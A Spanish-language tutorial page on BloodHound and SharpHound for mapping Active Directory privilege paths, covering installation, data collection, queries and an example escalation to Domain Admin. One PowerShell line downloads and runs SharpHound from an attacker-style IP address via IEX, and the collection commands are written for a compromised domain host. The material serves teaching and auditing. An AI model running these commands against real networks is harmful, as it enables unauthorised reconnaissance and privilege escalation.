> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/active-directory/bloodhound.md).

# BloodHound

## Introducción

**BloodHound** es una herramienta de reconocimiento y post-explotación para entornos Active Directory que permite a atacantes y defensores mapear relaciones y caminos de privilegios dentro de un dominio. Utiliza técnicas de *graph theory* para representar visualmente cómo un usuario común puede escalar privilegios hasta convertirse en Domain Admin mediante relaciones legítimas pero mal configuradas.

BloodHound está desarrollado en JavaScript (frontend) y Neo4j (motor de base de datos grafo), y recopila datos mediante un conjunto de *collectors* llamados `SharpHound`.

***

## ¿Por qué es útil BloodHound?

BloodHound responde a preguntas como:

* ¿Qué usuarios pueden convertirse en administradores del dominio?
* ¿Qué computadoras tienen sesiones de cuentas privilegiadas?
* ¿Qué relaciones de delegación existen entre objetos?
* ¿Existen caminos de ataque basados en permisos mal configurados?

Esto lo hace útil tanto para atacantes (escalada de privilegios, movimiento lateral) como para defensores (auditoría, detección de configuraciones peligrosas).

***

## Componentes de BloodHound

1. **SharpHound**: herramienta de recolección (en C# o PowerShell) que extrae información del dominio (ACLs, sesiones, relaciones, etc.).
2. **Base de datos Neo4j**: almacena los datos como un grafo.
3. **Interfaz de BloodHound**: cliente gráfico que permite visualizar relaciones entre objetos del dominio y explorar rutas de ataque.

***

## Instalación

#### En Kali Linux:

```bash
sudo apt install bloodhound
neo4j console
bloodhound
```

O instalar desde GitHub:

```bash
git clone https://github.com/BloodHoundAD/BloodHound
cd BloodHound
npm install && npm start
```

Accede a Neo4j en `http://localhost:7474` y usa usuario `neo4j` y una contraseña definida.

***

## Recolección de información con SharpHound

Se puede ejecutar `SharpHound` desde un equipo dentro del dominio comprometido. Existen distintas formas:

#### Desde PowerShell:

```powershell
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.6/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -ZipFileName loot.zip
```

#### Desde ejecutable:

```bash
SharpHound.exe -c All
```

Esto genera un archivo `.zip` con los datos recolectados (`loot.zip`), que luego se importa en la interfaz de BloodHound.

***

## Métodos de colección

Algunos de los métodos disponibles:

* `Session`: usuarios conectados en máquinas.
* `LocalAdmin`: usuarios con permisos de administrador local.
* `ACL`: permisos de objetos sobre otros.
* `Trusts`: relaciones de confianza entre dominios.
* `RDP`: acceso remoto a sistemas.

Puedes limitar los métodos así:

```powershell
Invoke-BloodHound -CollectionMethod Session,ACL,LocalAdmin -ZipFileName bh.zip
```

***

## Importación y análisis

1. Inicia Neo4j.
2. Abre BloodHound.
3. Sube el archivo `.zip` generado por SharpHound.

Una vez cargados los datos, puedes ejecutar queries predefinidas como:

* **Find Shortest Path to Domain Admins**
* **Find Computers where Domain Admins are Logged In**
* **Find Principals with DCSync Rights**

Y muchas más, todas basadas en relaciones como:

* `AdminTo`
* `MemberOf`
* `HasSession`
* `GenericWrite`
* `CanRDP`
* `AddMember`

***

## Ejemplo de ruta de ataque

Un usuario común puede tener acceso de escritura genérica sobre un grupo, lo que le permite agregarse a ese grupo. Ese grupo puede tener privilegios de administrador local en una máquina donde hay una sesión activa de un administrador del dominio. Esto permite robar credenciales o usar `Pass-The-Hash`, escalando así privilegios hasta `Domain Admin`.

***

## Uso ofensivo y defensivo

#### Como atacante:

* Identificar rutas para escalar privilegios.
* Detectar sesiones de administradores en máquinas vulnerables.
* Automatizar el movimiento lateral.

#### Como defensor:

* Auditar configuraciones peligrosas.
* Detectar delegaciones excesivas o ACLs inseguras.
* Visualizar la exposición real de los privilegios en el dominio.
